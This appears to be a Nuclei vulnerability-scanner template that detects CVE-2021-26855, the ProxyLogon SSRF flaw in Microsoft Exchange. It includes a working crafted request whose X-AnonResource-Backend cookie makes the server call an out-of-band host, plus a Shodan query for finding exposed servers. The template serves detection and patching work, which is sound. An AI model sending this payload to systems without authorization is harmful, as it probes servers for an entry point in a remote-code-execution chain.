id: CVE-2021-26855

info:
  name: Microsoft Exchange Server SSRF Vulnerability
  author: madrobot
  severity: critical
  description: This vulnerability is part of an attack chain that could allow remote code execution on Microsoft Exchange Server. The initial attack requires the ability to make an untrusted connection to Exchange server port 443. Other portions of the chain can be triggered if an attacker already has access or can convince an administrator to open a malicious file. Be aware his CVE ID is unique from CVE-2021-26412, CVE-2021-26854, CVE-2021-26857, CVE-2021-26858, CVE-2021-27065, and CVE-2021-27078.
  reference:
    - https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-26855
    - https://proxylogon.com/#timeline
    - https://web.archive.org/web/20210306113850/https://raw.githubusercontent.com/microsoft/CSS-Exchange/main/Security/http-vuln-cve2021-26855.nse
    - https://gist.github.com/testanull/324546bffab2fe4916d0f9d1f03ffa09
    - https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-26855
  remediation: Apply the appropriate security update.
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-26855
    cwe-id: CWE-918
    epss-score: 0.97537
    cpe: cpe:2.3:a:microsoft:exchange_server:2013:cumulative_update_21:*:*:*:*:*:*
  metadata:
    max-request: 1
    shodan-query: vuln:CVE-2021-26855
    vendor: microsoft
    product: exchange_server
  tags: cve,cve2021,ssrf,rce,exchange,oast,microsoft,kev

http:
  - raw:
      - |
        GET /owa/auth/x.js HTTP/1.1
        Host: {{Hostname}}
        Cookie: X-AnonResource=true; X-AnonResource-Backend={{interactsh-url}}/ecp/default.flt?~3;

    matchers:
      - type: word
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
          - "http"